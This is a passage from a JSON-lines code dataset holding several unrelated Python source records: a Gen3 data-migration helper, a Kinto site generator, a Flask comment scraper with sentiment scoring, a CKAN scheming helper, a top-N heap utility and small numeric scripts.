entity in entities:\n sid = entity[\"unique_keys\"][0][\"submitter_id\"]\n if entity[\"valid\"]: # valid but failed\n valid_but_failed.append(sid)\n else: # invalid and failed\n\n message = str(entity[\"errors\"])\n print(message)\n results[\"invalid\"][sid] = message\n invalid.append(sid)\n print(\"\\tInvalid records in this chunk: {}\".format(len(invalid)))\n\n elif json_res[\"code\"] == 500: # internal server error\n print(\"\\t Internal Server Error: {}\".format(response))\n results[\"responses\"].append(\n \"Internal Server Error: {}\".format(response)\n )\n\n if (\n len(valid_but_failed) > 0 and len(invalid) > 0\n ): # if valid entities failed bc grouped with invalid, submission fails, move file to done\n chunk = chunk.loc[\n df[\"submitter_id\"].isin(valid_but_failed)\n ] # these are records that weren't successful because they were part of a chunk that failed, but are valid and can be resubmitted without changes\n print(\n \"Retrying submission of valid entities from failed chunk: {} valid entities.\".format(\n str(len(chunk))\n )\n )\n\n elif (\n len(valid_but_failed) > 0 and len(invalid) == 0\n ): # if all entities are valid but submission still failed, probably due to duplicate submitter_ids. Can remove this section once the API response is fixed: https://ctds-planx.atlassian.net/browse/PXP-3065\n raise Gen3Error(\n \"Please check your data for correct file encoding, special characters, or duplicate submitter_ids or ids.\"\n )\n\n elif timeout is False: # get new chunk if didn't timeout\n start += chunk_size\n end = start + chunk_size\n chunk = df[start:end]\n\n else: # if timeout, reduce chunk size and retry smaller chunk\n if chunk_size >= 2:\n chunk_size = int(chunk_size / 2)\n end = start + chunk_size\n chunk = df[start:end]\n print(\n \"Retrying Chunk with reduced chunk_size: {}\".format(\n str(chunk_size)\n )\n )\n timeout = False\n else:\n raise Gen3SubmissionError(\n \"Submission is timing out. Please contact the Helpdesk.\"\n )\n\n print(\"Finished data submission.\")\n print(\"Successful records: {}\".format(str(len(set(results[\"succeeded\"])))))\n print(\"Failed invalid records: {}\".format(str(len(results[\"invalid\"]))))\n\n return results\n\n def change_all_visits(self, project_id, name=\"temp\"):\n \"\"\"Change links to visit for every node in a project_tsvs directory.\"\"\"\n # find temp_files with visits.id prop\n print(\"\\tChanging visit links for TSVs in {}\".format(project_id))\n grep_cmd = 'grep -rl . -e \"visits.id\"'\n vfiles = (\n subprocess.check_output(grep_cmd, shell=True).decode(\"utf-8\").split(\"\\n\")\n )\n vfiles = [vfile for vfile in vfiles if re.search(\"^./{}_\".format(name), vfile)]\n\n node_regex = re.compile(\"^./{}_{}_([a-z0-9_]+)\\.tsv\".format(name, project_id))\n nodes = [node_regex.match(vfile).groups()[0] for vfile in vfiles]\n\n for node in nodes:\n self.change_visit_links(project_id=project_id, node=node, name=\"temp\")\n\n def change_visit_links(self, project_id, node, name=\"temp\"):\n \"\"\"for DM v2.2 change: change visits.submitter_id to visit_id and add links to case\"\"\"\n\n # read the visit TSV\n vdf = self.read_tsv(project_id=project_id, node=\"visit\")\n\n if vdf is not None:\n vdf.rename(columns={\"submitter_id\": \"visit_id\"}, inplace=True)\n v = vdf[[\"visit_id\", \"cases.submitter_id\"]]\n\n ndf = self.read_tsv(project_id=project_id, node=node)\n props = {\"visits.submitter_id\": \"visit_id\"}\n try:\n ndf.rename(columns=props, inplace=True)\n n = pd.merge(ndf, v, on=\"visit_id\")\n n.drop(columns=[\"visits.id\"], inplace=True)\n self.write_tsv(df=n, project_id=project_id, node=node, name=\"temp\")\n return n\n except Exception as e:\n print(e)\n ### Add \"cases.submitter_id\" to TSVs with new \"visit_ids\"\n else:\n ndf = self.read_tsv(project_id=project_id, node=node)\n n = ndf.drop(columns=[\"visits.id\", \"visits.submitter_id\"])\n self.write_tsv(df=n, project_id=project_id, node=node, name=\"temp\")\n print(\n \"\\t\\tNo visit TSV found in project '{}'; dropping links to visit.\".format(\n project_id\n )\n )\n\n def delete_node(self, project_id, node, name=\"temp\"):\n \"\"\"Delete a node TSV from a project\"\"\"\n print(\n \"\\tAttempting to delete TSV for node '{}' in project '{}'.\".format(\n node, project_id\n )\n )\n filename = \"{0}_{1}_{2}.tsv\".format(name, project_id, node)\n if os.path.isfile(filename):\n try:\n os.remove(filename)\n print(\"\\t\\tTSV deleted: '{}'\".format(filename))\n except Exception as e:\n print(\"\\t\\tCouldn't delete '{}': {}\".format(filename, e))\n else:\n print(\"\\t\\tNo TSV found: '{}'\".format(filename))\n\n def add_case_ids(self, project_id, dd, nodes=\"all\", name=\"temp\"):\n \"\"\"Add case_ids to a list of nodes\n\n Usage:\n mig.add_case_ids(project_id=project_id, dd=prep_dd)\n \"\"\"\n\n pattern = \"{}_{}_*.tsv\".format(name, project_id)\n tsvs = glob.glob(pattern)\n\n node_regex = re.compile(\"^{}_{}_([a-z0-9_]+)\\.tsv\".format(name, project_id))\n all_nodes = [node_regex.match(tsv).groups()[0] for tsv in tsvs]\n\n if nodes == \"all\":\n nodes = all_nodes\n elif isinstance(nodes, str):\n nodes = [nodes]\n\n if \"case\" not in nodes:\n print(\n \"\\t\\tNo 'case' TSV found in project '{}': {}\".format(project_id, nodes)\n )\n return\n\n print(\n \"\\tAdding case_ids to nodes in project '{}':\\n\\t\\t{}\".format(\n project_id, nodes\n )\n )\n for node in nodes:\n print(\"\\t{}\".format(node.upper()))\n df = self.read_tsv(project_id, node)\n\n if \"case_submitter_id\" in df:\n csi = df.loc[df[\"case_submitter_id\"].notnull()]\n if csi.empty:\n df.drop(columns=[\"case_submitter_id\"], inplace=True)\n print(\n \"\\t\\tDropped 'case_submitter_id' from '{}' TSV; all null values.\".format(\n node\n )\n )\n else:\n print(\n \"\\t\\tFound '{}' records in {} with non-null case_submitter_id.\".format(\n len(csi), node\n )\n )\n df.rename(columns={\"case_submitter_id\": \"case_ids\"}, inplace=True)\n self.write_tsv(df, project_id, node)\n\n links = self.find_df_links(df=df, dd=dd)\n\n if node == \"case\":\n df[\"case_ids\"] = df[\"submitter_id\"]\n try:\n print(\"\\t\\tAdded case_ids to 'case' node.\")\n self.write_tsv(df, project_id, node)\n except Exception as e:\n print(\"\\t\\tCouldn't add case_ids to 'case' node.\")\n\n elif \"case\" in links:\n df[\"case_ids\"] = df[\"cases.submitter_id\"]\n try:\n print(\n \"\\t\\tAdded 'case_ids' to '{}' TSV in project '{}'\".format(\n node, project_id\n )\n )\n self.write_tsv(df, project_id, node)\n except Exception as e:\n print(\"\\t\\tCouldn't add case_ids to '{}' node.\".format(node))\n\n elif \"project\" in links:\n cdf = self.read_tsv(project_id, \"case\")\n if cdf is not None:\n cids = list(set(cdf.submitter_id))\n case_ids = \",\".join(cids)\n df[\"case_ids\"] = case_ids\n try:\n print(\n \"\\t\\tAdded 'case_ids' to '{}' TSV in project '{}'\".format(\n node, project_id\n )\n )\n self.write_tsv(df, project_id, node)\n except Exception as e:\n print(\"\\t\\tCouldn't add case_ids to '{}'\".format(node))\n else:\n print(\"\\t\\tNo 'case' TSV found in project '{}'\".format(project_id))\n else:\n while \"case\" not in links:\n # print(\"\\t{}:\".format(node))\n if len(links) > 1:\n print(\"\\n\\n\\nLinks greater than one! '{}'\".format(node))\n\n for l in links:\n ldf = self.read_tsv(project_id, l)\n ldf[\"{}.submitter_id\".format(links[l])] = ldf[\"submitter_id\"]\n\n if \"cases.submitter_id\" in ldf:\n df = pd.merge(\n df,\n ldf[\n [\n \"{}.submitter_id\".format(links[l]),\n \"cases.submitter_id\",\n ]\n ],\n on=\"{}.submitter_id\".format(links[l]),\n )\n df.rename(\n columns={\"cases.submitter_id\": \"case_ids\"}, inplace=True\n )\n try:\n print(\"\\t\\tAdded case_ids to '{}' TSV.\".format(node))\n self.write_tsv(df, project_id, node)\n except Exception as e:\n print(\"\\t\\tCouldn't add case_ids to '{}'\".format(node))\n else:\n print(\n \"\\n\\n\\nDidn't find link to case in '{}' TSV!\".format(l)\n )\n\n links = self.find_df_links(df=ldf, dd=dd)\n\n return nodes\n\n def find_df_links(self, df, dd, name=\"temp\"):\n \"\"\"Get a list of valid links given a data dictionary and a list of\"\"\"\n\n node = list(set(df[\"type\"]))[0]\n project_id = list(set(df[\"project_id\"]))[0]\n\n link_regex = re.compile(\"(.+)\\.submitter_id\")\n df_links = [\n link_regex.match(header).groups()[0]\n for header in list(df)\n if link_regex.match(header) is not None\n ]\n # don't include empty links\n df_links = [\n df_link\n for df_link in df_links\n if not df.loc[df[\"{}.submitter_id\".format(df_link)].notnull()].empty\n ]\n\n if \"projects.code\" in df:\n df_links += [\"projects\"]\n\n pattern = \"{}_{}_*.tsv\".format(name, project_id)\n tsvs = glob.glob(pattern)\n node_regex = re.compile(\"^{}_{}_([a-z0-9_]+)\\.tsv\".format(name, project_id))\n nodes = [node_regex.match(tsv).groups()[0] for tsv in tsvs]\n\n links = {}\n for link_def in dd[node][\"links\"]:\n # link_def = dd[node]['links'][0]\n if \"target_type\" in link_def:\n link_node = link_def[\"target_type\"]\n link_backref = link_def[\"name\"]\n if (\n link_node in nodes\n and link_backref in df_links\n or link_node == \"project\"\n ):\n links[link_node] = link_backref\n\n elif \"subgroup\" in link_def:\n link_nodes = [\n link[\"target_type\"]\n for link in link_def[\"subgroup\"]\n if link[\"target_type\"] in nodes\n ]\n link_backrefs = [link[\"name\"] for link in link_def[\"subgroup\"]]\n links = dict(zip(link_nodes, link_backrefs))\n\n else:\n print(\n \"Can't find link '{}.submitter_id' or '{}.submitter_id#1' in '{}' TSV: {}\".format(\n link_def\n )\n )\n\n return links\n\n def move_strings_to_other(self, project_id, node, props, name=\"temp\"):\n \"\"\"Move strings from numeric properties into a different string property.\n Not useful in most situations, this script is for legacy data where a \"mixed type\" of both integers and strings were allowed.\n\n Arguments:\n project_id (str): The project_id\n node (str): the node with the props.\n props (dict): props = {\"num_prop\":\"str_prop\"} where num_prop is the prop with mixed type data that is now numeric only and str_prop is the prop for the string data to be moved into.\n \"\"\"\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n num_prop = list(props)[0]\n str_prop = props[num_prop]\n\n nn = df.loc[df[num_prop].notnull()]\n\n if nn.empty:\n print(\n \"\\t\\tproperty '{}' has all null values in '{}' TSV of project '{}'!\".format(\n num_prop, node, project_id\n )\n )\n\n elif num_prop in list(nn):\n str_data = nn.loc[\n ~nn[num_prop]\n .astype(str)\n .str.replace(\".\", \"\", regex=False)\n .str.isdigit()\n ]\n num_data = nn.loc[\n nn[num_prop].astype(str).str.replace(\".\", \"\", regex=False).str.isdigit()\n ]\n\n # move the strings from num_prop to str_prop\n nn.loc[\n ~nn[num_prop]\n .astype(str)\n .str.replace(\".\", \"\", regex=False)\n .str.isdigit(),\n str_prop,\n ] = nn[num_prop]\n # nn.loc[~nn[num_prop].str.isnumeric(), str_prop] = nn[num_prop]\n\n # null the strings in the numeric prop\n nn.loc[\n ~nn[num_prop]\n .astype(str)\n .str.replace(\".\", \"\", regex=False)\n .str.isdigit(),\n num_prop,\n ] = np.nan\n # nn.loc[~nn[num_prop].str.isnumeric(), num_prop] = np.nan\n\n df[num_prop] = nn[num_prop]\n df[str_prop] = nn[str_prop]\n\n df = self.write_tsv(df, project_id, node, name=name)\n print(\n \"\\t\\t{} numeric value(s) kept in prop '{}'; {} string values moved to prop '{}' in '{}' TSV.\".format(\n len(num_data), num_prop, len(str_data), str_prop, node\n )\n )\n\n else:\n print(\n \"\\t\\tproperty '{}' not found in '{}' TSV of project '{}'!\".format(\n num_prop, node, project_id\n )\n )\n\n return df\n\n def drop_empty_links(\n self,\n project_id,\n node,\n dd,\n remove_not_required=True,\n remove_empty=False,\n name=\"temp\",\n ):\n \"\"\"\n Drops the 'links.id' and 'links.submitter_id' column from node TSV, where 'links' is the backref of the parent node(s) if the links are all null.\n\n Example:\n drop_all_links(project_id=project_id,node=node)\n \"\"\"\n\n print(\"\\tDropping all links in '{}' TSV.\".format(node))\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n link_regex = re.compile(\"(.+)\\.submitter_id\")\n df_links = [\n link_regex.match(header).groups()[0]\n for header in list(df)\n if link_regex.match(header) is not None\n ]\n\n remove_links = []\n\n # remove not required links:\n if remove_not_required is True:\n not_required_links = [\n df_link for df_link in df_links if df_link not in dd[node][\"required\"]\n ]\n remove_links += not_required_links\n\n # remove empty links (default is False)\n if remove_empty is True:\n empty_links = [\n df_link\n for df_link in df_links\n if not df.loc[df[\"{}.submitter_id\".format(df_link)].isnull()].empty\n ]\n remove_links += empty_links\n\n remove_links = list(set(remove_links))\n dropped = 0\n\n for link in remove_links:\n sid = \"{}.submitter_id\".format(link)\n uuid = \"{}.id\".format(link)\n if sid in df.columns:\n df = df.drop(columns=[sid])\n dropped += 1\n if uuid in df.columns:\n df = df.drop(columns=[uuid])\n dropped += 1\n count = 1\n sid = \"{}.submitter_id#{}\".format(link, count)\n while sid in df.columns:\n df = df.drop(columns=[sid])\n dropped += 1\n count += 1\n sid = \"{}.submitter_id#{}\".format(link, count)\n count = 1\n uuid = \"{}.id#{}\".format(link, count)\n while uuid in df.columns:\n df = df.drop(columns=[uuid])\n dropped += 1\n count += 1\n uuid = \"{}.submitter_id#{}\".format(link, count)\n if dropped > 0:\n df = self.write_tsv(df, project_id, node, name=name)\n print(\"\\tLinks {} dropped from '{}' TSV.\".format(remove_links, node))\n else:\n print(\"\\tNone of {} links found in '{}' TSV.\".format(remove_links, node))\n return df\n","sub_path":"migration/migration.py","file_name":"migration.py","file_ext":"py","file_size_in_byte":109954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"164460785","text":"import os\nimport datetime\n\nfrom kintogen import logger\nfrom kinto_client import Client\n\nfrom jinja2 import FileSystemLoader\nfrom jinja2 import Environment, PackageLoader\n\n\ndef timestamp2date(value):\n date = datetime.date.fromtimestamp(value/1000)\n return date.strftime('%b %d, %Y')\n\n\ndef get_template(name, dir):\n loader = FileSystemLoader(dir)\n env = Environment(loader=loader)\n env.filters['timestamp2date'] = timestamp2date\n return env.get_template(name)\n\n\ndef _generate_index(collection, records, template, target_dir):\n res = template.render(collection=collection, records=records)\n filename = os.path.join(target_dir, 'index.html')\n\n logger.info('Writing %s' % filename)\n with open(filename, 'w') as f:\n f.write(res.encode('utf8'))\n\n\ndef _generate_record(collection, record, template, target_dir, get_filename):\n res = template.render(collection=collection, record=record)\n filename = os.path.join(target_dir, get_filename(record))\n\n logger.info('Writing %s' % filename)\n with open(filename, 'w') as f:\n f.write(res.encode('utf8'))\n\n\ndef get_record_filename(record):\n return '%s.html' % record['id']\n\n\ndef generate(options):\n logger.info('Reading data on Kinto...')\n client = Client(server_url=options['endpoint'])\n\n collection = client.get_collection(bucket=options['bucket'],\n collection=options['collection'])\n collection = collection['data']\n\n records = client.get_records(bucket=options['bucket'],\n collection=options['collection'])\n\n if not os.path.exists(options['target_dir']):\n os.mkdir(options['target_dir'])\n\n col_tpl = options['collection_template']\n col_tpl = get_template(col_tpl, options['template_dir'])\n\n rec_tpl = options['record_template']\n rec_tpl = get_template(rec_tpl, options['template_dir'])\n\n _generate_index(collection, records, col_tpl, options['target_dir'])\n for record in records:\n _generate_record(collection, record, rec_tpl, options['target_dir'],\n get_record_filename)\n","sub_path":"kintogen/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"92060032","text":"# coding=utf-8\n\nfrom flask import request, render_template, Response, make_response\nimport re\nimport os\nfrom sklearn.externals import joblib\nimport zipfile\nimport StringIO\nimport requests\nimport dateutil.parser as dateparser\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\nfrom CommentsScraper import app\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\nAPP_STATIC = os.path.join(APP_ROOT, 'static')\n\n\n@app.errorhandler(Exception)\ndef exception_handler(error):\n return render_template('error.html', message='Unhandled error raised while trying '\n 'to process the request: %s' % error)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\ndef get_facebook_comments(url, classifier, data_file):\n\n r = requests.get('http://graph.facebook.com/comments?id=%s&fields=%s&limit=1000' % (url,\n 'id,created_time,comment_count,from,like_count,message'))\n\n comments = r.json()\n\n while True:\n try:\n for comment in comments['data']:\n try:\n clean_comment = comment['message'].replace('\\n', ' ').replace('\\t', ' ')\n\n sentiment = 'UNK'\n sentiment_text = re.sub(u'[^א-ת, _\\.\\?!\\-]', '', clean_comment)\n match = re.search(u'[א-ת]', sentiment_text)\n if len(sentiment_text) > 0 and match:\n Z = classifier.predict([sentiment_text])\n sentiment = str(Z[0])\n\n comment_create_time = dateparser.parse(comment['created_time'])\n\n data_file.write('\"%s\"\\t%s\\t\"%s\"\\t%d\\t%s\\t%d\\t%d\\t\"%s\"\\t\"%s\"\\n' % (comment['id'],\n comment_create_time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n clean_comment,\n len(clean_comment),\n sentiment,\n comment['like_count'],\n comment['comment_count'],\n comment['from']['id'],\n comment['from']['name']))\n except Exception as e:\n #logger.error('error while handle comment - %s' % str(e))\n pass\n\n comments = requests.get(comments['paging']['next']).json()\n except KeyError:\n # When there are no more pages (['paging']['next']), break from the\n # loop and end the script.\n break\n\n\n@app.route('/scrape/', methods=['POST'])\ndef scrape():\n if request.method == 'POST':\n\n # load trained classifier model\n classifier = joblib.load(os.path.join(APP_STATIC, 'RivlinClassifier.pkl'))\n\n comments_data = StringIO.StringIO()\n comments_data.write('id\\ttitle\\tcomment\\tstat\\tpost_date\\ttitle_sentiment\\tcomment_sentiment\\tparent_id\\n')\n\n url = request.form['article_url']\n\n facebook_plugin_comments_data = None\n\n if 'facebook_comment_plugin' in request.form:\n facebook_plugin_comments_data = StringIO.StringIO()\n facebook_plugin_comments_data.write('id\\tcreated_time\\ttext\\tlength\\tsentiment\\tlike_count\\tcomment_count\\tfrom_id\\tfrom\\n')\n\n get_facebook_comments(url, classifier, facebook_plugin_comments_data)\n\n driver = webdriver.PhantomJS()\n #driver = webdriver.Chrome()\n driver.get(url)\n\n try:\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"stlkbctopheader\")))\n\n more_talkbacks = True\n\n while more_talkbacks:\n\n open_all_talkbacks = driver.find_element_by_class_name('art_tkb_button')\n # check twice incase ad is open on first click\n if open_all_talkbacks.value_of_css_property('display') == u'block':\n open_all_talkbacks.click()\n if open_all_talkbacks.value_of_css_property('display') == u'block':\n open_all_talkbacks.click()\n\n # make sure everything is loaded\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_talkback\")))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_talkback_bullet\")))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_talkback_title\")))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_name_location_date\")))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_talkback_content\")))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"art_tkb_recmm_stat\")))\n\n last_id = 0\n\n talkback_id = ''\n talkback = driver.find_element_by_class_name('art_tkb_talkback')\n while True:\n\n # save the talkback id for paging\n talkback_id = talkback.get_attribute('id')\n\n talkback_number = talkback.find_element_by_class_name('art_tkb_talkback_bullet')\n id = re.sub(r'[^0-9]', '', talkback_number.text)\n\n talkback_title = talkback.find_element_by_class_name('art_tkb_talkback_title')\n title = talkback_title.text.replace(u'(לת)', '').replace('\\t', ' ').replace('\\n', ' ')\n\n date = ''\n talkback_location_date = talkback.find_element_by_class_name('art_tkb_name_location_date')\n match = re.search(r'\\((\\d{1,2}\\.\\d{1,2}\\.\\d{1,2})\\).*', talkback_location_date.text)\n if match:\n date = match.group(1)\n\n talkback_content = talkback.find_element_by_class_name('art_tkb_talkback_content')\n content = talkback_content.text.replace('\\t', ' ').replace('\\n', ' ')\n\n talkback_stat = talkback.find_element_by_class_name('art_tkb_recmm_stat')\n stat = talkback_stat.text\n\n parent_id = ''\n if id == '':\n parent_id = last_id\n else:\n last_id = id\n\n # calculate sentiment for the content\n clean_content = content.replace('\\n', ' ').replace('\\t', ' ')\n sentiment_content = 'UNK'\n sentiment_content_text = re.sub(u'[^א-ת, _\\.\\?!\\-]', '', clean_content)\n match = re.search(u'[א-ת]', sentiment_content_text)\n if len(sentiment_content_text) > 0 and match:\n Z = classifier.predict([sentiment_content_text])\n sentiment_content = str(Z[0])\n\n # calculate sentiment for the title\n clean_title = title.replace('\\n', ' ').replace('\\t', ' ')\n sentiment_title = 'UNK'\n sentiment_title_text = re.sub(u'[^א-ת, _\\.\\?!\\-]', '', clean_title)\n match = re.search(u'[א-ת]', sentiment_title_text)\n if len(sentiment_title_text) > 0 and match:\n Z = classifier.predict([sentiment_title_text])\n sentiment_title = str(Z[0])\n\n comments_data.write('%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n' %(id,\n title,\n content,\n stat,\n date,\n sentiment_title,\n sentiment_content,\n parent_id))\n\n try:\n talkback = talkback.find_element_by_xpath('following-sibling::*[1]')\n except NoSuchElementException:\n # no more talkbacks, at least on that page\n break\n\n # check if there is available next page button\n display = driver.find_element_by_id('stlkbcnexttalkbacks').value_of_css_property('display')\n if display == u'block':\n #tkb_arrow_next = driver.find_element_by_xpath('//*[@id=\"stlkbcnexttalkbacks\"]/a')\n tkb_arrow_next = driver.find_element_by_class_name('sprite_article_tkb_arrow_next')\n tkb_arrow_next.click()\n\n tries = 10\n while tries > 0:\n try:\n # check that the last talkbak id isn't available, which\n # means the new page is loaded\n WebDriverWait(driver, 1).until(EC.presence_of_element_located((By.ID, talkback_id)))\n tries -= 1\n except TimeoutException:\n break\n\n if tries == 0:\n # tried for 10 times to load the new page, give up...\n more_talkbacks = False\n\n else:\n more_talkbacks = False\n except Exception as e:\n # TODO: write to log\n pass\n finally:\n driver.quit()\n\n # prepare zip file contains both files\n in_memory_zip = StringIO.StringIO()\n zf = zipfile.ZipFile(in_memory_zip, \"a\", zipfile.ZIP_DEFLATED, False)\n comments_data.seek(0)\n zf.writestr('comments.tsv', comments_data.getvalue().encode('utf-8'))\n if facebook_plugin_comments_data is not None:\n facebook_plugin_comments_data.seek(0)\n zf.writestr('facebook_comments_plugin.tsv', facebook_plugin_comments_data.getvalue().encode('utf-8'))\n zf.close()\n\n in_memory_zip.seek(0)\n response = make_response(in_memory_zip.read())\n response.content_type = 'application/zip; charset=utf-8'\n response.headers[\"Content-Disposition\"] = \"attachment; filename=%s\" % 'comments.zip'\n\n comments_data.close()\n if facebook_plugin_comments_data is not None:\n facebook_plugin_comments_data.close()\n zf.close()\n\n return response\n\n\nif __name__ == '__main__':\n app.debug=True\n app.run()\n","sub_path":"CommentsScraper/ynetCommentScraper.py","file_name":"ynetCommentScraper.py","file_ext":"py","file_size_in_byte":11434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"571693326","text":"import cv2 as cv\nimport numpy as np\n\nimg = np.empty((200, 200, 3), np.uint8)\nprint(img.shape)\n\nimg[..., 0] = 255\nimg[..., 1] = 0\nimg[..., 2] = 0\nimg = img[..., ::-1]\ncv.imwrite(\"saveimg.jpg\", img) # 不支持保存没有后缀的图片文件\n","sub_path":"untitled1788/opencv/imwrite.py","file_name":"imwrite.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"599232257","text":"#!/usr/bin/env python3\r\n\r\nfrom reporter.uhl_reports.i2b2.recruitment import (\r\n CumulativeRecruitment,\r\n)\r\nfrom reporter.emailing import (\r\n RECIPIENT_BRICCS_MANAGER as RECIPIENT_MANAGER,\r\n)\r\n\r\n\r\nI2B2_DB = \"i2b2_app03_b1_Data\"\r\n\r\n\r\nclass BriccsCumulativeRecruitment(\r\n CumulativeRecruitment):\r\n def __init__(self):\r\n super().__init__(\r\n I2B2_DB,\r\n [RECIPIENT_MANAGER]\r\n )\r\n","sub_path":"reporter/uhl_reports/briccs/management_information/recruitment.py","file_name":"recruitment.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"76393075","text":"# Import our favorite modules\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn\n\n# Define some parameter values.\nr = 1 # mRNA production rate in 1/min\ngamma = 1 / 3 # mRNA decay in 1/min\ntime = 20 # in min\ndt = 0.1 # time step in min\nnum_steps = time / dt\ninit_cond = 10 # in units of number of mRNA\ntime_vec = np.linspace(0, time, num_steps)\n\n# Make a vector to store the mRNA count\nm_t = np.zeros_like(time_vec)\nm_t[0] = init_cond\n# Do the integration!\nfor t in range(1, int(num_steps)):\n m_t[t] = m_t[t-1] + r * dt - gamma * dt * m_t[t-1]\n\nplt.figure()\nplt.plot(time_vec, m_t, 'r-', label='m(0) = ' + str(init_cond))\nplt.xlabel('time (min)')\nplt.ylabel('$m(t)$')\nplt.ylim([0, 10])\n\n# Do the integration again with a different initial condition.\nm_t = np.zeros_like(time_vec)\nm_t[0] = 0\n# Do the integration!\nfor t in range(1, int(num_steps)):\n m_t[t] = m_t[t-1] + r * dt - gamma * dt * m_t[t-1]\n\n\nplt.plot(time_vec, m_t, 'b-', label='m(0) = 0')\nplt.legend()\nplt.show()\n","sub_path":"code/inclass/constitutive_expression_in_class.py","file_name":"constitutive_expression_in_class.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"447925921","text":"\"\"\"simple interface to help retrive information from the scheming json that describes CKAN object rules.\n\"\"\"\nimport json\nimport os.path\n\nimport bcdc2bcdc.constants as constants\nimport bcdc2bcdc.CacheFiles as CacheFiles\nimport bcdc2bcdc.CKAN as CKAN\n\n\n\nclass Scheming:\n \"\"\"constructor, looks for the cached scheming file and reads it or if it\n doesn't exist makes an api call, and dumps the results to the extension.\n \"\"\"\n\n def __init__(self):\n self.struct = None\n if constants.isDataDebug():\n cacheFiles = CacheFiles.CKANCacheFiles()\n schemingCacheFile = cacheFiles.getSchemingCacheFilePath()\n if os.path.exists(schemingCacheFile):\n # load from cache file if its there\n with open(schemingCacheFile, \"r\") as fh:\n self.struct = json.load(fh)\n if not self.struct:\n # otherwise make api call and then create the cache file\n ckanWrap = CKAN.CKANWrapper()\n self.struct = ckanWrap.getScheming()\n if constants.isDataDebug():\n with open(schemingCacheFile, \"w\") as fh:\n json.dump(self.struct, fh)\n\n def getResourceDomain(self, fieldname):\n \"\"\"Gets the domains if they are defined for the provided\n fieldname/property type of a resource\n\n :param fieldname: The name of the field who's domain is to be returned\n :type fieldname: str\n :return: a list of allowable values for the provided field\n :rtype: list\n \"\"\"\n return self.getDomain(fieldname, \"resource_fields\")\n\n def getDatasetDomain(self, fieldname):\n \"\"\"Gets the domains if they are defined for the provided\n fieldname/property type of a dataset\n\n :param fieldname: [description]\n :type fieldname: [type]\n :return: [description]\n :rtype: [type]\n \"\"\"\n return self.getDomain(fieldname, \"dataset_fields\")\n\n def getDomain(self, fieldname, objType):\n \"\"\" gets the domains for the provided fieldname / property for the\n given object type, object type can be be either dataset_fields, or\n\n :param fieldname: [description]\n :type fieldname: [type]\n :param objType: [description]\n :type objType: [type]\n :return: [description]\n :rtype: [type]\n \"\"\"\n retVal = None\n resultStruct = self.struct[objType]\n for fldDef in resultStruct:\n if fldDef[\"field_name\"].lower() == fieldname.lower():\n if \"choices\" in fldDef:\n retVal = []\n for choice in fldDef[\"choices\"]:\n retVal.append(choice[\"value\"])\n return retVal\n\n","sub_path":"bcdc2bcdc/CKANScheming.py","file_name":"CKANScheming.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"330903011","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Given an arbitrarily large file and a number, N,\ncontaining individual numbers on each line (e.g. 200Gb file),\nwill output the largest N numbers, highest first.\n\"\"\"\n\nimport heapq\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef _process_top_n(file_object, number_of_ints):\n\n if int(number_of_ints) <= 0:\n return []\n\n # Initalise empty list\n result = [None] * number_of_ints\n\n # We are going to initally fill up the\n # list with the first N records in file\n init_load = 0\n for line in file_object:\n # Heapify if we have reached numer_of_ints\n if init_load == number_of_ints:\n logger.info('Heapifying result as %s elements inserted',\n number_of_ints)\n heapq.heapify(result)\n try:\n value = int(line)\n except ValueError:\n logger.error('Invalid Input - Failed to '\n 'convert input to integer '\n '- %s', line)\n continue\n if init_load < number_of_ints:\n # Load first n ints straight into list\n result[init_load] = value\n else:\n heapq.heappushpop(result, value)\n init_load += 1\n return sorted(result, reverse=True)\n\n\ndef top_n(input_file, number_of_ints):\n \"Retrieve top N numbers in file\"\n file_object = open(input_file, 'r')\n return _process_top_n(file_object, number_of_ints)\n","sub_path":"intercom/topn.py","file_name":"topn.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"199795289","text":"\"\"\"\nMinimum Cost Tree From Leaf Values\nhttps://leetcode.com/problems/minimum-cost-tree-from-leaf-values/\n\nTime O(n**3)\nSpace O(n**2)\n\"\"\"\nclass Solution:\n def __init__(self):\n self.A = list()\n self.memo = dict()\n \n def mctFromLeafValues(self, 